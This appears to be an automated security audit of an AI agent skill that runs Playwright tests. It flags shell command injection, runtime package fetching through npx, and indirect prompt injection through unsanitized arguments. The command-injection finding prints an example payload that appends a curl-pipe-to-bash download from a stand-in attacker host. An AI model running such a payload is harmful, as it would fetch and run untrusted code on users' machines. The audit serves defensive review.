The Agent Skills Directory

[COMMAND_EXECUTION]: The skill constructs and runs shell commands like npx playwright test <file> using data provided in $ARGUMENTS. This creates a command injection risk where a malicious user could provide a file path containing shell metacharacters (e.g., test.spec.ts; curl http://attacker.com/script | bash) to execute unauthorized code.
[REMOTE_CODE_EXECUTION]: The skill uses npx to execute Playwright, which involves the dynamic fetching and execution of packages from the npm registry at runtime. While Playwright is a standard tool, the package runner mechanism itself is an external code execution vector.
[PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection via the processing of untrusted user data.
Ingestion points: User-provided file paths, test names, and failure descriptions in $ARGUMENTS as defined in SKILL.md.
Boundary markers: Absent. The input is interpolated directly into the instructions and shell commands without delimiters or 'ignore' instructions.
Capability inventory: The skill has the capability to execute shell commands and read local skill directory files.
Sanitization: No evidence of input validation, escaping, or sanitization is provided in the skill's instructions.

fix